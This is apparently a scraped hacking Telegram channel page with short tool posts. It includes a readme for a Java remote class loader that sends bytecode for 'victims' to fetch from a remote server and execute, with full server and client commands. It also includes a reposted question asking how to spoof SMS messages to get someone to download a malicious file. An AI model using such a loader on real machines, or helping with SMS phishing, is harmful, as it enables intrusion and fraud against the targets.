Hacking Articles Tips Tricks Videos Tutorials
469 subscribers
66.2K photos
15 videos
157 files
133K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Exceptional Tool? Nginxpwner to Test and Run for Nginx Security and Bug Bounty

🙏, Will see How to Install, Test and Run Nginxpwner on Kali Linux.Continue reading on Medium »
Read more...
hacking: security in practice
Sending Fake Phishing SMS

Is there a way to send a spoofed SMS to someone's phone number in order to make them download a malicious file to their computer? The online services and the tools made for Kali to send fake SMS didn't seem to work for me.

Thanks.

submitted by /u/KawaiiSenseiUwU
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
Java-Remote-Class-Loader : Tool To Send Java Bytecode Victims To Load & Execute

Java-Remote-Class-Loader is a tool that allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.

Features

* Client-server architecture
* Remote loading of Java class files
* In-transit encryption using ChaCha20 cipher
* Settings defined via args
* Keepalive mechanism to re-establish communication if server restarts

Installation

Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.

https://www.openlogic.com/openjdk-downloads

Usage
$ java -jar java-class-loader.jar -help

usage: Main
-address Example

Assuming you have the following Hello World payload in the Payload.javafile:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
Then you should compile and produce the respective Payload.classfile.

To run the server process listening on port 1337 on all net interfaces:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
On the client side, you may use the same JAR package with the -clientflag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payloadand String exec()respectively). Additionally, you can specify -keepaliveto keep the client requesting class file from server while maintaining the connection.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Click Here To Download

___________________________
@hacking_Attack
@Hacking_Video
Finding P1 Vulnerabilities: A Step by Step Guide

Disclaimer: This article is for informational purposes only. Do not attempt to maliciously use information in this article to harm or…Continue reading on Medium »
Read more...